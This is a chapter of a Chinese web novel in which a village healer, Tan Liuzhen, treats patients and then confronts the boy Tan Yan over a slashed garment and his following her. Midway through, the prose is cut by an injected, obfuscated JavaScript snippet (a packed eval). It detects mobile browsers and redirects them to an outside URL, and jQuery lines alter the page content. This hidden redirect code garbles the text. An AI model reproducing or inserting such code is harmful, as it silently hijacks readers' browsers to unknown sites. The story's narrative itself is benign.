5. 你跟着我干甚?
作品:《雨打芭蕉落闲庭》 大清早打开门,谭柳真被眼前的景象吓了一跳。
门槛外头,一床棉被鼓鼓囊囊地堵在门口,被子里头拱起个人形。谭晏的头发从被角散出来,整个人蜷成小小一团,睡得正沉。
谭柳真吓了一跳,脚差点踩到他脸上。晨光从廊檐下斜斜地照进来,落在他睫毛上,微微颤着。
屋外传来几声清脆的鸟鸣,远处山谷里浮着薄薄的晨雾,淡淡的,像一层纱。
谭柳真就这么低头看了他一会儿,虽然很想问他怎么睡在这,可这会儿才五点,叫醒他又太早了些。
她抬脚从他身边轻轻跨过去,放了张纸条告诉谭晏锅里有窝窝头,然后就拿着放在门口的竹篮子,往山下走。
谭柳真不知道,自己走过拐角的时候,地上那人慢慢睁开了眼睛,侧过头,静静地看着谭柳真离开的方向。
外面天才蒙蒙亮,下山的路要走半个时辰,身后静静的,只有早起的鸟在叫。
空气里有股湿湿的草木香,混着院子里那些药材的清苦味道,让人闻着便觉得醒神。
谭柳真挎着篮子,篮子里装着给张大娘补好的衣服,还有给村里王大爷带的补药。大爷腿脚不好,这次谭柳真下山就是去复查的。
山道上没什么人,露水重,草叶子湿漉漉地蹭着谭柳真的裙摆。
太阳匍匐在大地上,天光暗暗的,刚能看清山路。
山下的一排排石板小屋还沉睡着,王大爷就住在山脚的村子里,三间瓦房,院子里种着两棵枣树。
谭柳真推开院门的时候,他的儿媳秋菊正在院子里晒衣裳,看见谭柳真就笑:“柳真来了?快进来坐。”
“秋菊姐,我来给王大爷看看腿。”
“你来的赶巧,老爷子正还说腿疼。”
秋菊将她领进屋,谭柳真推门进去,看见王大爷正靠在床头,一条腿伸得直直的,动也不敢动。
“谭大夫来了!”王大娘从灶屋探出头,手里还攥着块抹布,“您给瞧瞧,这老东西一大早就喊疼,我刚想着要不要托人给您带话呢。”
谭柳真搬着凳子坐到床前,王大爷讪讪的,想坐起来,被她按住:
“别动,我先看看。”
她掀开盖在腿上的薄被,卷起裤脚,膝盖肿得发亮,摸上去微微烫手。她让王大爷慢慢屈腿,看他龇牙咧嘴的模样,心里有了数。
“是风湿又犯了,不过这回比上次轻些了。”她从篮子里取出几包药,一一交代”“这包是外敷的,捣烂了敷在膝盖上,一日一换。这包是内服的,水煎,早晚各一碗。还有这包,等肿消了再用,泡脚用的……”
王大娘在一旁连连点头:“我都记得,还是老样么。”
谭柳真点头,又从怀里摸出个小瓷瓶:“这是我新配的药酒,等肿消了,早晚抹一回,揉到发热为止。”
王大爷接过药酒,嘴里絮絮叨叨地道着谢,谭柳真摆摆手,起身要走,王大娘赶紧拦住:“饭都煮上了,吃了再走!”
“不了大娘,我还有事。”
“那你等等。”王大娘转身进了里屋,出来时手里拎着两个小布袋,一袋子沉一袋子轻,“这是今年的新枣,这包晒干了的,你带回去泡茶喝。”
谭柳真推辞不过,只得收了,果不其然,其中一个布袋子底下垫着几枚铜板,这下可还好,吃着枣子道也省了顿早饭。
远处走出门时,日头正爬到头顶,她站在枣树下回望,王大爷家的炊烟袅袅地升起来,混在秋日的薄雾里,淡得像一笔旧画。
她把那袋干枣放进篮子,转身往山上看去,不知谭晏有没有吃到窝窝头。
又连着跑了几家诊,再出来时,天上的太阳已经冉冉升起。群山庇护下的小山村也被薄薄的晨光笼罩着,许多农忙的人家已经开门,正和迎面撞上的谭柳真打招呼。
谭柳真来到张大娘家,一间由木板搭成的棚子里堆着一袋袋金黄的稻谷,张大娘一般这个时候还没有起床,她只需要默默地将衣服下即可。
昨天她已经仔细清洗过,上面已然没有泥点子,她将衣服抖开欣慰地重新地扫视了一翻。
突然,她在衣服上看见了一条细细的口子。
谭柳真顿时心里咯噔一下,又揉揉眼凑过去看。
隔开的地方已经开始了绷线,边缘毛毛燥燥地简直乱做了一团。
口子不长,但很深,整整齐齐的,一看就是利器割的。
谭柳真昨天将衣服放进篮子的时候,明明检查过没有这道口子。
篮子放在桌上,一夜没动过,早上起来,篮子还在原地。
难不成是阿晏割的?但是他知道这是张大娘的衣服,他又不烦张大娘,难道……
谭柳真不敢再想,她将一袋子枣子放张大娘家门口,留纸条告诉她衣服在自己上山的时候出了点小状况,不小心摔了一跤花了一条口子,怕是不能按时送来了。
出了张大娘家,她站在村口看着来时的山道。
果不其然,她的步子后面还跟着一个稍大的脚印,只不过土地渐干,印子很浅不易察觉。
谭柳真站在这堆脚印旁边看了好久,张望四周有没有看到任何身影,终于,她愣了一两秒后朝周围喊了一声:
“你跟着我干什么。”
林子里很安静没有一丝声响,树后的人影突然一个慌张踩断了一条干树枝,发出“咔嚓~”一声的脆响,谭柳真扭头看过去,谭晏从树后面低头走了出来。
他的头发有些散了,几缕碎发从马尾里逃出来,耷拉在额前。
“昨天晚上,你是不是动了我桌上的篮子?”
谭晏垂着眼,睫毛密密地覆下来,看不清里头神情,只那脸色比昨日更白了些,嘴唇也没什么血色。整个人瘦伶伶的,像山间一棵还没长成的小树,风一吹就要倒似的。
“张大娘的衣服,是你割的?”谭柳真的声音沉下来,谭晏不说话,低头拿脚尖碾着地上的土。
他试图张了张嘴,但说不出话来。
谭柳真看着他,忽然觉得很累。他这表情和做错事了被抓包后的心虚没有两样,这么说他居然真的能够干得出这种偷偷摸摸的勾当,她简直气到说不出话。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193286|197085||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“你知道那件衣服是谁的,是给张大娘的。张大娘多大年纪了?那是她做给她闺女的,她闺女在镇上帮工一年难得回来几次,你为什么把她的衣服给划了?你是对我有什么不满么?”
谭晏的脸色变了,谭柳真继续说:
“不管怎么样,你一刀下去,她宝贝的衣服就多了道口子。”
“你要是心有不满,对谁不满你可以跟我说,但是你绝对不能这么做,你这样做和偷鸡摸狗有什么区别,也不是三岁小孩了吧,我要是把这坏衣服送回去,张大娘会怎么想?”
“我知道你是……”她简直气火攻心地一顿输出,但是还是改了改措辞:“你必须把这种不良的作风改过来,否则再有下次,我第一个报官。”
“我真的没想到……”
长得这么乖,居然真的不是个省油的灯。
“我会找人把衣服补好,但这钱要你以后挣回来,算你先欠我的。”
谭晏的身子微微一僵,耳朵上攀起了红晕。
“还有,你是不是昨天就一直跟着我。”他抿着嘴,不说话。
“谭晏,”谭柳真气急了,没压住声:“你到底想干什么?”
谭晏猛然抬头,看着谭柳真。
那眼神谭柳真见过,在村口流浪狗的眼睛里见过,它们想讨点爱,但又不敢靠近,就那么远远地看着你,眼神里带着点期盼,又带着点害怕。
可他不是流浪狗,他是个人,他也该知道什么能做什么不能做。
“你还有什么要说的么?”
谭晏突然看了她一眼,眼里闪过一丝光亮,然后蹙眉突然低下了头,没再敢看她,只盯着自己的脚尖。
山风吹过来,吹得树叶沙沙响。
谭柳真站在他对面,看着他低着的头,凌乱的头发在空中毫无依附地飘荡。
谭柳真察觉到自己话好像有点说狠了,但是已经来不及。两人僵持了一会,谭晏突然慢慢地朝深林里走去。
谭柳真脸色变了一变,但是她实在是气得厉害,没去拦。
她觉得是有必要让谭晏自己好好反省一下自己,回家的路上越想越气,这到底是人有问题还是这环境有问题,难道她留下他真的是一个错误的选择。
她现在该怎么办,得先把他在外面学来的那些不良勾当给改掉,否则只会越来越严重。
谭柳真看着篮子里被划掉的衣服,她不会女工,张大娘的绣工就很好,这衣服她肯定是补不好,只能拿到镇上去找个好绣娘。
到底是哪个环节出错了呢?她忽然想,也许谭晏听见昨天张大娘要赶自己,所以才心有不满。
他刚从流浪过上安稳的日子,可能也和当初的自己一样有些隐隐不安,害怕这份幸福转眼间就会消失不见,她也曾经打翻过奶奶的药坛子,更应将心比心。
这么一想,她的心里便软了几分。
只是……他怎的还没回来?
她坐在堂屋里,朝门口望了望,午饭已经做好摆在桌上,冒着微微的热气。
门外空荡荡的,不见人影。

